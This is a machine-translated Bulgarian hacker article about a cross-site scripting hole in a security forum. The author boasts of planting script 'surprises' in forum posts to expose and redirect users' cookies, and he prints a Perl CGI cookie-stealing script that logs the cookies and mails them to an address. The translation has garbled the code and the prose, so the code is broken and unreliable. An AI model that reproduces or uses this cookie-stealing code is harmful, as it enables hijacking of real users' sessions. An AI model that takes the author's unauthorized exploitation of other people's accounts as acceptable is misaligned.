Както е променен или как да се използват скриптове към сайта

Всичко започна с това, че по някакъв начин ще securitylab.ru
Видях статията "Новини от Shushpanchika" за това съдържание:

Запомняне че Shushpanchik - глава ((C)
Pupkin-Zade) реши да се разходите по URL`u и да видим това, което хората вече са развалени ...

Аз ще кажа, че не съм искал форума веднъж: работа бъги-preglyuchno, чалнат теми (най-много "готино" тема в раздела за кодиране: "че luchshe'i", който е върху това, което kodit "😉 и с всичко това на първо място в горд надпис в горната част на страницата:

Форум за сигурност
Информация за руските системи за сигурност ...

Типични уязвимост е както следва:

В резултат на това трябва да се появи прозорец със съдържанието на вашата бисквитка (съжалявам, че microsoft.com вече е определено - един добър пример ще 😉

Т.е. ако изпратите такава "изненада" в съобщението си, вместо на изображението потребителят ще видите прозорец с много обидна дума ...

Освен това, потребителят се пренасочва към този URL адрес.

Сега, как да напиша сценарий за събиране на бисквитките:

използват CGI QW (: стандарт);

$ Бисквитеното = $ ENV;
$ File = »cook.txt»;
отворена (FILE, «>> $ файл»);
файл за печат «$ бисквитка \ н \ н»;
в близост (файл);
$ Query = CGI :: нов ();

$mail='[email protected] ";
$target='[email protected] ";
отворена (поща, «| $ mailprog -t»);
Разпечатай Изпрати «Content-Type: текст / обикновен \ н»;
Разпечатай Изпрати «Тема: Fresh бисквитка \ н»;
Разпечатай Изпрати «Към: $ пощата \ н»;
Разпечатай Изпрати «От:".. $ мишена '\ н \ н »;
Разпечатай Изпрати «$ бисквитка»;
близост (поща);

Такива шеги коляно няколко пъти и се натъкнах на тях ... модератори. Мисля, че след тази дупка е затворен? О, не! Кул-haksory просто премахна моите послания. Оставих ги и се върна за събиране на реколтата "кифли". Разбира се, има да отида и да проникне в алгоритъма за формиране форум кок вземете ... но ако знаете какво работи трябва поне да оставят съобщение за това постоянно glyuchaschem "проект за безопасност" ... Аз понякога се след половин час, дори и на този прост работа, защото сървърът просто умря и престана да се отговори ... всичко ... до следващия час ...

Ето защо, наистина нищо няма да се промени, ако искаме да оставите съобщение например "изненада":

Повярвайте ми, аз обичам kulhaksory шестцифрена ICQ безплатно ...

Покажете тази статия на приятел: